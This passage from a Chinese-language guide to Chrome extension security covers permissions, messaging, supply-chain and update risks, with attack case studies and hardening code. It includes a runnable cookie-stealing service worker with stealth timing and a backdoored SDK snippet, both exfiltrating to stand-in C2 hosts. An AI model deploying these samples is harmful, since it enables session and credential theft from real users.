一、引言:为什么 Chrome 扩展值得单独研究
简述扩展生态规模、权限模型带来的风险,以及本文的写作目标与读者对象。
二、Chrome 扩展基础与安全模型
2.1 扩展的组成结构
manifest、background service worker、content script、popup、options 页面等核心组件。
2.2 权限体系与隔离机制
permissions、host_permissions、可选权限、扩展隔离世界与页面主世界的边界。
四类权限对比:
| 权限类型 | 声明位置 | 典型风险 | 最小化建议 |
|---|---|---|---|
| permissions | manifest 顶层字段 | 安装即授予,易过度申请 | 按需拆分,能删则删 |
| host_permissions | manifest 顶层字段 | 全站匹配导致数据面过宽 | 限定具体域名与路径 |
| optional_permissions | manifest 可选字段 | 运行时诱导用户授权 | 用前申请,说明用途 |
| activeTab | manifest 声明后临时授予 | 误以为可长期访问页面 | 优先替代宽泛主机权限 |
2.3 消息通信机制
runtime.sendMessage、tabs.sendMessage、externally_connectable 与消息来源校验。
三、攻击面全景梳理
3.1 权限过度申请与最小权限缺失
风险成因 :扩展的权限模型是"安装即授予",用户在安装弹窗中往往只关注功能描述,很少逐条阅读权限清单。开发者为省事,习惯在 manifest 中一次性声明 permissions 与 host_permissions 的全集,甚至直接写 <all_urls>,导致扩展从第一天起就拥有远超业务需要的数据访问面。
典型触发条件 :功能迭代时"先申请后使用",权限只增不减;多个功能模块共用一份 manifest,无法按模块裁剪;使用第三方 SDK 时被动继承其权限要求;以及把 activeTab 能解决的场景写成宽泛主机权限。
可观测的异常特征 :安装弹窗中出现与功能明显不匹配的权限项(如纯前端工具申请 cookies);扩展在用户从未访问的域名上产生 content script 注入记录;chrome.permissions.getAll() 返回的权限集合长期大于实际调用集合。
加固要点 :以"最小可用"为原则逐项复核 manifest,能用
activeTab替代的宽泛主机权限一律收敛,可选能力迁移到optional_permissions并在使用时申请。
3.2 Content Script 注入与 DOM 污染
风险成因 :content script 运行在隔离世界,但依然可以读写页面 DOM。当扩展把页面内容当作可信数据直接拼接进 innerHTML,或把页面传入的字符串交给 eval、new Function 执行时,页面侧的 XSS 就能借道扩展上下文放大影响,形成 DOM 污染与脚本注入的复合风险。
典型触发条件 :使用 document.write 或字符串拼接方式渲染浮层、提示框;通过 chrome.scripting.executeScript 注入的代码里包含页面可控变量;对 postMessage 传来的 HTML 片段不做净化直接插入;以及 matches 范围过宽导致脚本注入到不可信站点。
可观测的异常特征 :页面 DOM 中出现来源不明的 script 节点或内联事件属性;content script 报错栈中频繁出现 innerHTML 相关调用;扩展在非业务域名上产生注入行为,且伴随 CSP 违规上报。
加固要点 :content script 一律使用
textContent或经过净化的 DOM API 渲染页面数据,禁止拼接 HTML 字符串,并把matches收敛到明确域名。
3.3 消息通道伪造与来源校验缺失
风险成因 :扩展的消息通道横跨页面、content script、background 与其他扩展,runtime.onMessage 与 window.addEventListener('message') 都是开放入口。若监听器只判断 message.action 而不校验 sender.id、sender.origin、event.origin,任意页面或其他扩展都能伪造消息触发敏感逻辑。
典型触发条件 :内部接口与外部接口共用同一个监听器;用 startsWith 做 origin 前缀匹配;externally_connectable 声明为 <all_urls> 或 ids: ["*"] 且无运行时二次校验;以及忽略 sender.frameId 导致 iframe 可冒充顶层页面。
可观测的异常特征 :background 日志中出现来源扩展 ID 与自身不一致的调用;消息频率在无用户交互时突增;onMessageExternal 收到 sender.origin 为 "null" 或陌生域名的请求。
加固要点 :所有监听器入口先校验来源(
sender.id→sender.origin→sender.tab/frameId),再校验消息结构,任一不通过立即返回。
3.4 外部资源加载与供应链风险
风险成因:扩展为快速实现统计、客服、A/B 测试等功能,直接引入第三方 npm 包或远程脚本,通常不做代码审计,也不锁定版本。一旦依赖被投毒或 CDN 被劫持,恶意代码会随构建产物一起进入 background 与 content script,获得与扩展同等的权限。
典型触发条件 :使用 ^ 或 ~ 版本范围导致自动升级到被污染版本;从非官方源或未校验完整性的 CDN 加载脚本;manifest 中 content_security_policy 允许 unsafe-eval 或宽泛的远程源;以及缺少 lockfile 与依赖完整性校验。
可观测的异常特征:构建产物中出现与业务无关的混淆代码段;运行时向陌生域名发起与埋点同域的 POST 请求;依赖树中存在抢注相似包名的包;扩展体积在某个小版本后异常增长。
加固要点 :锁定依赖版本并启用 lockfile 与完整性校验,第三方脚本本地化打包,CSP 中禁止
unsafe-eval与宽泛远程源。
3.5 存储数据泄露与敏感信息硬编码
风险成因 :chrome.storage 与 localStorage 默认以明文保存,且对同扩展的所有上下文可见。开发者常把 token、API Key、用户标识直接写入存储,甚至把密钥硬编码在源码中,一旦扩展包被下载解压,敏感信息即刻暴露。
典型触发条件 :把长期有效的 refresh token 存入 chrome.storage.local;在 content script 中使用 localStorage 保存会话数据,使其暴露给页面主世界;源码中直接写死第三方服务密钥;以及卸载扩展时未清理残留数据。
可观测的异常特征 :扩展包中出现形如密钥的高熵字符串;chrome.storage 快照中存在未加密的会话凭证;页面脚本可读取到本应仅扩展可见的存储键。
加固要点 :敏感数据一律加密后存入
chrome.storage.local,密钥不落源码,content script 避免使用页面可读的localStorage。
3.6 更新机制与自动更新劫持
风险成因 :Chrome 扩展的自动更新是一条"高权限、低可见"的通道。扩展一旦安装,浏览器会按 manifest 中的 update_url 定期拉取新版本并静默替换本地代码,用户既不会收到确认弹窗,也看不到更新内容。这意味着更新通道本身就是一条可以直达用户浏览器的代码分发链路:谁能控制 update_url 指向的更新源,谁就能在用户无感知的情况下替换扩展的全部逻辑。自托管更新源、更新清单被篡改、签名校验缺失,都会让这条链路从"维护通道"变成"投毒通道"。
典型触发条件 :使用自托管更新源(update_url 指向自有域名或第三方对象存储)且未启用 HTTPS 与访问控制;update_url 在打包或分发环节被篡改,指向攻击者控制的更新服务器;更新清单(update.xml)与 crx 包缺少签名校验,或校验失败后仍降级放行;攻击者利用版本号比较逻辑缺陷实施降级攻击,把用户回滚到存在已知漏洞的旧版本;以及更新源域名过期、被抢注或 CDN 配置错误导致更新请求被劫持。
可观测的异常特征 :扩展版本号在短时间内频繁跳变,或出现低于历史版本的"回退"记录;更新请求的目标域名与 update_url 声明不一致,或出现陌生 IP 与自签名证书;update.xml 中的 codebase 指向非预期地址;扩展包体积、文件哈希在某个版本后与官方构建产物不一致;更新后新增了未在发布说明中提及的权限或远程请求域名。
加固要点 :优先使用 Chrome 应用商店托管更新,自托管时必须启用 HTTPS、限制更新源访问权限并对 crx 包做签名校验;
update_url纳入构建产物完整性校验,禁止在分发环节被改写;版本比较逻辑拒绝降级,校验失败一律中止更新而不是降级放行。
3.7 攻击面汇总速查表
为便于横向对比与快速检索,下表把 3.1 至 3.6 六个攻击面各压缩成一行,按「攻击面 → 对应小节 → 核心风险成因 → 关键加固动作 → 可观测异常特征」的顺序排列。排查时可以先看异常特征定位到具体攻击面,再回到对应小节查看完整的触发条件与代码示例。
| 攻击面 | 对应小节 | 核心风险成因 | 关键加固动作 | 可观测异常特征 |
|---|---|---|---|---|
| 权限过度申请与最小权限缺失 | 3.1 | 安装即授予,manifest 一次性声明权限全集 | 逐项复核权限,宽泛主机权限收敛到 activeTab | 权限项与功能不匹配,权限集合长期大于实际调用 |
| Content Script 注入与 DOM 污染 | 3.2 | 页面数据直接拼接 innerHTML 或交给 eval 执行 | 改用 textContent 或净化后的 DOM API,收敛 matches | DOM 出现来源不明 script 节点,伴随 CSP 违规上报 |
| 消息通道伪造与来源校验缺失 | 3.3 | 监听器只判断 action,不校验 sender 与 origin | 先校验 sender.id、origin、tab,再校验消息结构 | 来源扩展 ID 异常,无交互时消息频率突增 |
| 外部资源加载与供应链风险 | 3.4 | 第三方依赖不锁版本、不做审计,CSP 过宽 | 锁定版本与 lockfile,脚本本地化,禁用 unsafe-eval | 产物出现无关混淆代码,向陌生域名发起 POST |
| 存储数据泄露与敏感信息硬编码 | 3.5 | storage 与 localStorage 明文保存,密钥写进源码 | 敏感数据加密存储,密钥不落源码,避免页面可读存储 | 包内出现高熵密钥字符串,存储快照含明文凭证 |
| 更新机制与自动更新劫持 | 3.6 | update_url 可被篡改,更新包缺少签名与降级校验 | 优先商店托管,自托管启用 HTTPS 与签名校验 | 版本号异常回退,更新域名与声明不一致 |
使用建议:把这张表当作排查清单的入口------先按「可观测异常特征」列做初筛,命中后跳到对应小节核对「核心风险成因」,再按「关键加固动作」列落地修复,最后回到第四章查看同类攻击的真实链路。
四、典型攻击手法实录
4.1 案例一:恶意扩展窃取 Cookie 与登录态
攻击链路拆解、关键代码片段与流量特征。
节点说明:
- 恶意扩展安装:攻击者通过仿冒热门工具、捆绑安装或侧载 crx 诱导用户安装,安装页往往伪装成正常功能扩展,实际在 manifest 中已埋好后续所需权限。
- 权限获取 :manifest 中声明
"permissions": ["cookies"]与"host_permissions": ["*://*.example.com/*"],安装时一次性申请全部权限,用户很难察觉 cookies 权限的实际用途。 - Content Script 注入 :通过
content_scripts.matches命中目标站点,脚本运行在隔离世界但可访问页面 DOM,也可通过chrome.scripting.executeScript动态注入。 - Cookie 读取 :调用
chrome.cookies.getAll({domain: "example.com"})直接读取 HttpOnly Cookie,这是扩展权限模型下最容易被滥用的能力之一。 - 外发回传 :将 Cookie 拼接后通过
fetch("https://c2.example.net/collect", {method: "POST", body: ...})上报,流量特征为短小 POST 请求、目标域名为陌生 CDN 或动态域名。
下面给出可直接运行的 background service worker 恶意代码示例,演示如何用 chrome.cookies.getAll 读取目标站点 Cookie 并通过 fetch 外发。代码仅用于安全研究与检测规则验证,请勿用于未授权场景。
javascript
// manifest.json 中需声明:
// "permissions": ["cookies", "alarms", "storage"]
// "host_permissions": ["*://*.example.com/*"]
// background service worker:读取 Cookie 并外发
const C2_ENDPOINT = 'https://c2.example.net/collect';
const TARGET_DOMAIN = 'example.com';
async function exfiltrateCookies() {
try {
// 1. 读取目标域名下全部 Cookie(含 HttpOnly)
const cookies = await chrome.cookies.getAll({ domain: TARGET_DOMAIN });
if (!cookies || cookies.length === 0) return;
// 2. 精简字段,只保留会话相关值,减小请求体积
const payload = cookies.map((c) => ({
name: c.name,
value: c.value,
domain: c.domain,
path: c.path,
httpOnly: c.httpOnly,
secure: c.secure,
expirationDate: c.expirationDate
}));
// 3. 通过 fetch 外发到 C2,伪装成普通 JSON 上报
await fetch(C2_ENDPOINT, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
host: TARGET_DOMAIN,
ts: Date.now(),
data: payload
})
});
} catch (err) {
// 静默失败,避免在控制台留下明显报错
}
}
// 4. 定时触发,避免安装后立即外发引起怀疑
chrome.alarms.create('sync', { periodInMinutes: 30 });
chrome.alarms.onAlarm.addListener((alarm) => {
if (alarm.name === 'sync') exfiltrateCookies();
});
// 5. 首次安装后延迟执行一次
chrome.runtime.onInstalled.addListener(() => {
setTimeout(exfiltrateCookies, 60 * 1000);
});
流量与日志特征:
- Network 面板出现陌生域名的周期性 POST :请求目标为
c2.example.net这类与业务无关的域名,间隔稳定(如每 30 分钟一次),请求体为 JSON 且包含name、value、domain等 Cookie 字段结构。 - 请求发起方为扩展而非页面 :在 DevTools Network 面板中该请求的 Initiator 显示为
chrome-extension://<扩展ID>/background.js,而不是页面脚本,且不随页面导航产生。 - 无用户交互时仍有网络活动:用户停留在空白页或未操作浏览器时,扩展仍持续产生出站请求,与正常业务埋点的触发时机明显不符。
- 扩展日志中出现 cookies API 调用 :在
chrome://extensions打开该扩展的 service worker 检查器,Console 或 Sources 断点可观察到chrome.cookies.getAll的调用栈,且调用域名与扩展功能描述不匹配。 - 请求体体积异常且含高熵字符串:POST body 中出现长串 Base64 或形如会话 ID 的高熵值,与常规埋点字段(event、ts、page)结构差异明显。
4.2 案例二:通过 postMessage 绕过来源校验
攻击链路拆解、关键代码片段与流量特征。
节点说明:
- 恶意页面加载:攻击者诱导用户访问钓鱼页面,或利用第三方站点上的 XSS 注入脚本,页面中嵌入目标扩展的 iframe 或直接打开目标站点,为后续消息投递做准备。
- 定位消息通道 :通过阅读扩展源码、抓包或公开文档,找到 content script 中注册的
window.addEventListener('message', handler),确认其接受的message.type与字段结构。 - 伪造消息体 :构造
window.postMessage({type: 'SYNC_TOKEN', token: '...'}, '*'),字段名与类型完全对齐扩展预期,使业务逻辑误判为合法请求。 - 绕过来源校验 :典型缺陷是监听器完全不判断
event.origin,或用event.origin.startsWith('https://example.com')做前缀匹配,被https://example.com.evil.net绕过;也有用event.source判断但未校验event.source === window.parent的情况。 - 触发敏感操作 :消息进入业务分支后执行写配置、读取本地存储、调用
chrome.runtime.sendMessage转发到 background 等动作,攻击者借此获得超出页面权限的能力。 - 数据外泄 :将读取到的 token、配置或用户数据通过
fetch或再次postMessage回传,流量特征为页面内无用户交互的异常消息风暴与陌生域名的短请求。
javascript
// 存在缺陷的 content script 写法
window.addEventListener('message', (event) => {
// 缺陷 1:完全不校验 event.origin
// 缺陷 2:即使校验也用前缀匹配,可被 example.com.evil.net 绕过
if (event.data?.type === 'SYNC_TOKEN') {
chrome.runtime.sendMessage({ action: 'SYNC_TOKEN', token: event.data.token });
}
});
// 加固写法:精确校验 origin + source + 消息结构
const TRUSTED_ORIGIN = 'https://app.example.com';
window.addEventListener('message', (event) => {
if (event.origin !== TRUSTED_ORIGIN) return;
if (event.source !== window) return;
if (typeof event.data?.type !== 'string') return;
if (event.data.type !== 'SYNC_TOKEN') return;
if (typeof event.data.token !== 'string' || event.data.token.length > 2048) return;
chrome.runtime.sendMessage({ action: 'SYNC_TOKEN', token: event.data.token });
});
流量与日志特征:
- 页面无交互却出现连续出站请求:Network 面板中在用户未点击任何按钮的情况下,短时间内出现多条指向陌生域名的 POST,Initiator 为 content script 或页面内联脚本。
- 请求 Referer 与目标站点不匹配:请求头 Referer 为钓鱼站或被挂马页面域名,而请求体字段结构与目标扩展的业务协议一致,说明消息被跨站转发。
- 扩展日志出现异常来源的 message 事件 :在 content script 的 Console 中可观察到
event.origin为陌生域名或"null"的 message 记录,且随后紧跟chrome.runtime.sendMessage调用。 - background 收到高频同构消息 :service worker 日志中
onMessage在极短时间内被同一 action 反复触发,参数结构高度相似,与正常用户操作节奏不符。 - 请求体含 token 类高熵字段:外发 POST body 中出现形如 JWT 的三段式字符串或长随机串,字段名与扩展内部协议字段一致。
4.3 案例三:供应链投毒------第三方 SDK 植入后门
攻击链路拆解、关键代码片段与流量特征。
节点说明:
- 引入第三方 SDK:扩展为快速实现统计、客服、A/B 测试等功能,直接引入第三方 npm 包或远程脚本,通常不做代码审计,也不锁定版本。
- 依赖版本被投毒 :攻击者通过抢注相似包名、劫持维护者 npm 账号或提交恶意 PR,在某个小版本中植入后门代码,利用
^或~版本范围自动升级到被污染版本。 - 构建期注入后门:后门代码在打包时被合并进 background service worker 与 content script,由于扩展审核主要看权限声明与人工抽检,混淆后的代码很容易通过。
- 运行时激活:后门默认休眠,通过远程配置接口或特定时间窗口触发,避免在审核期与测试环境暴露行为,降低被发现概率。
- 越权采集 :激活后读取页面 DOM、
chrome.storage中的 token 与配置,甚至调用扩展已申请的cookies、tabs权限获取更多数据。 - 隐蔽外传:将数据混入正常埋点请求,复用 SDK 已有的上报域名与 User-Agent,流量特征为与业务埋点同域、字段结构相似但体积异常偏大的 POST 请求。
javascript
// 被投毒的第三方 SDK 片段(示意)
const REPORT_ENDPOINT = 'https://analytics.example.com/collect';
function collect() {
const payload = {
// 正常埋点字段
event: 'page_view',
ts: Date.now(),
// 后门字段:混入敏感数据
_d: btoa(JSON.stringify({
cookies: document.cookie,
storage: Object.keys(localStorage).reduce((acc, k) => {
acc[k] = localStorage.getItem(k);
return acc;
}, {})
}))
};
// 复用正常上报通道,规避域名黑名单
navigator.sendBeacon(REPORT_ENDPOINT, JSON.stringify(payload));
}
// 远程开关控制,审核期不触发
fetch('https://analytics.example.com/flag')
.then((r) => r.json())
.then((cfg) => { if (cfg.enable) collect(); });
流量与日志特征:
- 埋点请求体积异常偏大 :Network 面板中发往正常埋点域名的 POST,请求体明显大于同类事件的历史基线,且包含
_d这类 Base64 编码的附加字段。 - 先拉配置后上报的两段式请求 :先出现一条指向
/flag等配置接口的 GET,返回{"enable": true}后紧接着出现数据上报请求,形成固定时序。 - sendBeacon 触发的请求无响应体 :请求类型为
beacon,在 Network 面板中 Method 为 POST、Type 为 ping,且不随页面卸载而中断,容易被误认为正常埋点。 - 扩展日志出现未在发布说明中的网络调用:service worker 或 content script 的 Console 中出现对陌生路径的 fetch 记录,调用栈指向第三方 SDK 文件而非业务代码。
- 请求头与业务埋点高度一致但字段多出敏感项 :User-Agent、Content-Type 与正常埋点相同,但 body 中混入
cookies、storage等不应出现在埋点中的字段名。
4.4 案例四:权限提升与跨扩展通信滥用
攻击链路拆解、关键代码片段与流量特征。
节点说明:
- 低权限扩展入驻:攻击者上架一个功能简单、权限极少的扩展,容易通过审核也容易获得用户信任,作为后续横向移动的跳板。
- 探测可通信扩展 :通过公开的扩展 ID 列表、
externally_connectable声明或页面特征,识别出同浏览器中已安装的高权限扩展,确认其消息接口。 - 伪造调用方身份 :使用
chrome.runtime.sendMessage(targetExtensionId, message)定向向目标扩展发消息,此时sender.id为攻击者扩展 ID,但很多目标扩展并不校验该字段。 - 目标扩展校验缺失 :目标扩展的
onMessageExternal只判断message.action,或仅校验sender.origin而忽略扩展来源场景,导致任意扩展都能调用其内部接口。 - 借用高权限能力 :攻击者通过目标扩展的接口间接调用
chrome.cookies、chrome.tabs、chrome.scripting等能力,实现自身权限无法完成的操作。 - 权限提升完成:最终获得本不该拥有的数据访问能力,流量特征为扩展间高频消息调用、目标扩展出现与其自身业务不符的 API 调用记录。
javascript
// 攻击者扩展:向高权限目标扩展发起定向调用
const TARGET_EXTENSION_ID = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
chrome.runtime.sendMessage(
TARGET_EXTENSION_ID,
{ action: 'GET_ALL_COOKIES', domain: 'example.com' },
(resp) => {
if (resp?.ok) {
fetch('https://c2.example.net/collect', {
method: 'POST',
body: JSON.stringify(resp.data)
});
}
}
);
// 目标扩展的缺陷写法:只校验 action,不校验 sender.id
chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {
if (message?.action === 'GET_ALL_COOKIES') {
chrome.cookies.getAll({ domain: message.domain }, (cookies) => {
sendResponse({ ok: true, data: cookies });
});
return true;
}
});
// 加固写法:扩展来源必须命中白名单
const TRUSTED_EXTENSION_IDS = new Set(['bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb']);
chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {
if (!TRUSTED_EXTENSION_IDS.has(sender.id)) {
sendResponse({ ok: false, error: 'SOURCE_DENIED' });
return false;
}
// 再进入业务分支
});
流量与日志特征:
- 两个扩展 ID 交替出现在网络请求 Initiator 中:Network 面板里同一批外发请求的 Initiator 分别指向攻击者扩展与目标扩展的 background 脚本,形成跨扩展调用链。
- 目标扩展出现与其业务不符的 API 调用 :在目标扩展 service worker 的 Console 中可观察到
chrome.cookies.getAll、chrome.tabs.query等调用,但调用时机与目标扩展自身功能无关。 - 扩展间消息频率异常 :短时间内
onMessageExternal被同一sender.id高频触发,且 action 集中在读取类接口(如GET_ALL_COOKIES)。 - 外发请求紧随扩展间调用之后:Network 面板中可看到「扩展间消息 → 目标扩展返回数据 → 攻击者扩展发起 POST」的固定时序,POST 目标为陌生域名。
- 日志中出现来源扩展 ID 与白名单不匹配的拒绝或放行记录 :若目标扩展有来源校验日志,会出现
sender.id为陌生扩展 ID 的记录;若缺失校验,则完全没有来源相关日志,只有业务分支执行痕迹。
五、防御实践与加固方案
5.1 最小权限与权限收敛
权限收敛是扩展安全的第一道防线,核心原则只有一条:manifest 中声明的每一项权限,都应当能对应到一段真实业务代码;凡是当前版本用不到的权限,一律不声明。权限一旦在安装时授予,就会在整个扩展生命周期内持续生效,用户既看不到调用时机,也无法按功能粒度回收。因此收敛动作必须发生在开发阶段,而不是等出事之后再补救。
具体落地时按四类权限分别取舍:permissions 只保留 API 能力必需项,能用 activeTab 覆盖的交互场景不要申请 tabs 或 scripting 的常驻权限;host_permissions 从 <all_urls> 收敛到明确的域名与路径,能用 activeTab 临时授权的不要写死主机匹配;optional_permissions 承接低频、敏感或按功能开关的能力,在用户真正触发该功能时再申请;activeTab 作为默认首选,仅在用户主动点击扩展图标或快捷键时临时获得当前标签页的访问权,用完即失效。
下面是一份权限收敛前后的 manifest 对比,左侧是常见的过度申请写法,右侧是收敛后的版本:
json
// 收敛前:安装即授予全部能力,数据面过宽
{
"manifest_version": 3,
"permissions": ["tabs", "cookies", "scripting", "storage", "webRequest"],
"host_permissions": ["<all_urls>"],
"content_scripts": [
{
"matches": ["<all_urls>"],
"js": ["content.js"]
}
]
}
json
// 收敛后:按功能拆分,敏感能力转为可选权限
{
"manifest_version": 3,
"permissions": ["storage", "activeTab", "scripting"],
"host_permissions": ["https://app.example.com/*"],
"optional_permissions": ["cookies", "tabs"],
"optional_host_permissions": ["https://*.example.com/*"],
"content_scripts": [
{
"matches": ["https://app.example.com/*"],
"js": ["content.js"]
}
]
}
对比要点:cookies 与 tabs 从常驻权限迁移到 optional_permissions,只在用户开启对应功能时申请;host_permissions 由 <all_urls> 收敛到业务主域名,其余子域走 optional_host_permissions;content_scripts.matches 同步收敛,避免脚本注入到无关站点;activeTab 承担"用户主动操作当前页"的场景,替代大部分宽泛主机权限。
可选权限必须在运行时通过 chrome.permissions.request 申请,且该调用必须发生在用户手势(点击、快捷键)的回调中,否则会被浏览器直接拒绝:
javascript
// popup 或 options 页面中,由用户点击触发
async function enableCookieFeature() {
// 1. 先检查是否已授予,避免重复弹窗
const granted = await chrome.permissions.contains({
permissions: ['cookies'],
origins: ['https://*.example.com/*']
});
if (granted) {
return startCookieSync();
}
// 2. 必须在用户手势回调中调用 request
const ok = await chrome.permissions.request({
permissions: ['cookies'],
origins: ['https://*.example.com/*']
});
if (!ok) {
// 用户拒绝:降级处理,不要反复弹窗骚扰
showTip('未授权 Cookie 权限,该功能不可用');
return;
}
startCookieSync();
}
document.getElementById('enable-cookie').addEventListener('click', enableCookieFeature);
// 权限被用户回收时同步关闭相关功能
chrome.permissions.onRemoved.addListener((removed) => {
if (removed.permissions?.includes('cookies')) {
stopCookieSync();
}
});
适用边界 :optional_permissions 适合低频、敏感、需要用户明确知情的能力,例如 Cookie 同步、跨站数据采集、通知推送;高频且核心链路必需的权限仍应放在 permissions 中,否则每次启动都要处理未授权分支,反而增加复杂度。
常见误用 :在 setTimeout、页面加载完成或 service worker 启动时调用 chrome.permissions.request,因缺少用户手势而静默失败;把 optional_permissions 当作"先声明再诱导授权"的通道,在首次安装后立刻弹窗索要全部可选权限;只处理授权成功分支,忽略 onRemoved 导致用户回收权限后功能仍在调用受限 API 并持续报错;以及申请了 optional_host_permissions 却仍保留宽泛的 host_permissions,收敛形同虚设。
一句话总结:
permissions只留必需,host_permissions收敛到具体域名,optional_permissions承接敏感能力并在用户手势中申请,activeTab作为默认首选。权限清单越短,攻击面越小。
5.2 消息通信的安全校验范式
消息通信是扩展与页面、扩展与扩展之间最容易被忽视的信任边界。核心原则只有一条:任何进入 onMessage 监听器的消息都视为不可信输入,必须显式校验来源,再校验内容。下面按三种典型场景给出可落地的写法。
5.2.1 校验 sender.id:只信任自己的扩展
适用于 background 与 popup、options、content script 之间的内部通信。此时消息可能来自其他扩展(通过 chrome.runtime.sendMessage(extensionId, ...) 定向发送),因此必须比对 sender.id。
javascript
// background service worker
const MY_EXTENSION_ID = chrome.runtime.id;
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
// 1. 来源扩展必须是自己
if (sender.id !== MY_EXTENSION_ID) {
console.warn('[reject] untrusted sender.id:', sender.id);
return false; // 不返回 true,不占用异步通道
}
// 2. 内容校验:白名单 action + 参数类型
if (!message || typeof message.action !== 'string') {
sendResponse({ ok: false, error: 'BAD_REQUEST' });
return false;
}
switch (message.action) {
case 'GET_CONFIG':
sendResponse({ ok: true, data: getConfig() });
return false;
default:
sendResponse({ ok: false, error: 'UNKNOWN_ACTION' });
return false;
}
});
适用边界 :仅用于扩展内部组件间通信。常见误用 :只判断 message.action 而不判断 sender.id,导致任意扩展都能调用你的内部接口;或者用 sender.url 做判断,但 sender.url 在 content script 场景下是页面 URL,容易被误读为扩展来源。
5.2.2 校验 sender.origin:区分页面来源
当 content script 向 background 转发页面数据时,sender.origin 表示消息发起方的源(Manifest V3 中 content script 的 origin 为页面源)。用它可以把数据面限制在业务域名内。
javascript
const ALLOWED_ORIGINS = new Set([
'https://app.example.com',
'https://admin.example.com'
]);
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (sender.id !== chrome.runtime.id) return false;
// content script 场景下校验页面源
if (sender.tab && !ALLOWED_ORIGINS.has(sender.origin)) {
console.warn('[reject] origin not allowed:', sender.origin);
sendResponse({ ok: false, error: 'ORIGIN_DENIED' });
return false;
}
if (message?.action === 'SYNC_TOKEN') {
// 只接受字符串且长度受限的 token
if (typeof message.token !== 'string' || message.token.length > 2048) {
sendResponse({ ok: false, error: 'BAD_TOKEN' });
return false;
}
saveToken(message.token);
sendResponse({ ok: true });
}
return false;
});
适用边界 :适合多站点共用一套扩展、需要按站点做数据隔离的场景。常见误用 :用 startsWith('https://example.com') 做前缀匹配,会被 https://example.com.evil.net 绕过;正确做法是解析后比对完整 origin,或用 new URL(sender.origin).hostname 精确匹配。
5.2.3 校验 sender.tab:确认消息来自受控标签页
sender.tab 只在 content script 发起的消息中存在,popup 与 options 页面发消息时该字段为 undefined。因此它既能用于确认来源类型,也能拿到 tabId 做后续定向回包。
javascript
chrome.runtime.onMessage.addListener((message, sender, sendResponse) => {
if (sender.id !== chrome.runtime.id) return false;
// 要求必须来自 content script(即存在 tab 上下文)
if (!sender.tab || typeof sender.tab.id !== 'number') {
sendResponse({ ok: false, error: 'NOT_FROM_TAB' });
return false;
}
// 可选:只接受顶层框架,避免 iframe 伪造
if (sender.frameId !== 0) {
sendResponse({ ok: false, error: 'FRAME_DENIED' });
return false;
}
if (message?.action === 'REPORT_DOM') {
handleReport(sender.tab.id, message.payload);
sendResponse({ ok: true });
}
return false;
});
适用边界 :需要区分"页面来的消息"和"扩展 UI 来的消息",或需要按 tab 做权限收敛时使用。常见误用 :把 sender.tab 当作可信身份,实际上它只说明消息来自某个标签页,页面本身仍可能是攻击者控制的站点,必须叠加 origin 校验;另外忽略 sender.frameId 会让任意 iframe 都能冒充顶层页面。
5.2.4 externally_connectable:外部来源白名单
当扩展需要被网页或其他扩展调用时,必须在 manifest 中声明 externally_connectable,并在代码里做二次白名单校验。manifest 只做"谁能连进来"的第一道过滤,不能替代运行时校验。
json
{
"externally_connectable": {
"matches": ["https://app.example.com/*"],
"ids": ["*"]
}
}
javascript
// 外部网页通过 chrome.runtime.sendMessage(EXT_ID, msg) 调用
const EXTERNAL_ORIGIN_WHITELIST = new Set(['https://app.example.com']);
chrome.runtime.onMessageExternal.addListener((message, sender, sendResponse) => {
// 1. 网页来源:sender.origin 必须精确命中白名单
// 2. 其他扩展来源:sender.id 必须命中扩展 id 白名单
const fromWebPage = typeof sender.origin === 'string' && sender.origin !== 'null';
const allowed = fromWebPage
? EXTERNAL_ORIGIN_WHITELIST.has(sender.origin)
: EXTENSION_ID_WHITELIST.has(sender.id);
if (!allowed) {
console.warn('[reject] external source denied:', sender.origin || sender.id);
sendResponse({ ok: false, error: 'SOURCE_DENIED' });
return false;
}
// 3. 业务层再做 action 白名单与参数校验
if (message?.action !== 'PING') {
sendResponse({ ok: false, error: 'UNKNOWN_ACTION' });
return false;
}
sendResponse({ ok: true, pong: Date.now() });
return false;
});
适用边界 :仅在你确实需要网页或其他扩展主动调用时开启;能用 content script + runtime.sendMessage 解决的场景不要开外部通道。常见误用 :manifest 里写 "matches": ["<all_urls>"] 或 "ids": ["*"] 后完全不做运行时校验,等于把接口暴露给任意站点;以及把 sender.origin 为 "null"(沙箱 iframe、file:// 页面)的情况误判为合法来源。
5.2.5 校验顺序与通用清单
- 先校验来源 :
sender.id→sender.origin→sender.tab/sender.frameId,任一不通过立即返回,不进入业务逻辑。 - 再校验消息结构 :action 白名单、字段类型、长度上限,拒绝
null、数组、原型污染字段(如__proto__)。 - 最后校验业务权限:结合当前 tab、用户授权状态、敏感操作二次确认。
- 统一错误返回 :对外只返回
{ ok: false, error: 'DENIED' },不泄露内部判断细节。 - 不要用
return true兜底 :只有确实需要异步sendResponse时才返回true,否则会造成通道悬挂与内存泄漏。
一句话总结:
sender.id解决"是不是自己人",sender.origin解决"是不是可信站点",sender.tab解决"是不是受控上下文",externally_connectable白名单解决"谁能敲这扇门"。四者叠加使用,缺一不可。
5.3 Content Script 注入安全与 CSP 配置
5.3 Content Script 安全渲染与 CSP 加固
5.2 解决的是"消息从哪来",本节解决的是"消息里的数据怎么落到页面上"。content script 运行在隔离世界,但它读写的 DOM 属于页面主世界,一旦把页面可控的数据当作 HTML 拼接,页面侧的 XSS 就能借道扩展上下文执行,形成 3.2 节描述的 DOM 污染链路。核心原则有两条:渲染页面数据只用 textContent 或净化后的 DOM API,绝不拼接 HTML 字符串 ;用 manifest 中的 content_security_policy 收紧脚本执行面,禁止 unsafe-eval,script-src 只放行 self。
先看渲染侧。下面这段代码演示如何用 textContent 与 document.createElement 等 DOM API 替代 innerHTML 拼接,把页面传来的数据安全地渲染成浮层内容:
javascript
// content script:安全渲染页面数据,禁止 innerHTML 拼接
const TRUSTED_ORIGIN = 'https://app.example.com';
// 白名单:只允许渲染这些字段,其余一律丢弃
const ALLOWED_FIELDS = new Set(['title', 'summary', 'linkText']);
function renderPanel(rawData) {
// 1. 结构校验:只接受普通对象,拒绝 null / 数组 / 原型污染字段
if (!rawData || typeof rawData !== 'object' || Array.isArray(rawData)) return;
if ('__proto__' in rawData || 'constructor' in rawData) return;
const panel = document.createElement('div');
panel.className = 'ext-panel';
